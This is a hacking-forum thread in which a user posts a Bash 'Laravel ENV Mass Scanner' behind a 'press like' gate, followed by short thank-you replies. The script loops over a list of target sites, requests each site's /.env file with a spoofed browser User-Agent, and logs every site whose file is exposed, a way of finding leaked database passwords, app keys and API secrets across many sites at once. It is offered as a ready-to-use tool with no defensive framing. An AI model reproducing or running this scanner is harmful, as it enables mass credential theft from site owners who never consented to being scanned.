Sign in to follow this  
byzer0

Laravel ENV Mass Scanner [Bash]

Recommended Posts

Hidden content press like

 

[hide]

 

 

Screenshot_2018-10-19_18-27-13.png

 

 

Here is tool :

 

 

#!/bin/bash
checkSite(){
red='\033[0;31m'
cyan='\033[0;36m'
NC='\033[0m'
green='\e[92m'
Green='\e[42m'
target=$1
COUNTER=$((COUNTER+1)) 
if [[ $(timeout 5 curl -s -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36" $target'/.env') =~ 'APP_ENV=' ]];
then

   printf "${green}[${COUNTER}] => [$target] => ENV OK\n";
   echo "$target/.env" | tee -a valid_laravel.txt
   else
   printf "${red}[${COUNTER}] => ${red}$target => ENV NO\n";
fi
}
for target in $(cat $1); do
       checkSite $target
   done
filter_total=$(cat valid_laravel.txt | wc -l)
printf "\033[0;36mTotal Valid : $filter_total\n";

 

 

Usage : bash file.sh file.txt

 

 

[/hide]

Share this post


Link to post
Share on other sites

thanks for upload

let me see now first

Share this post


Link to post
Share on other sites

lets see how it works

Share this post


Link to post
Share on other sites

thanks for the scanner man :) always love new bash

Share this post


Link to post
Share on other sites

let me check it

Share this post


Link to post
Share on other sites

Hidden content press like

 

 

 

aight good money i dont know what this is but ok fatso

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this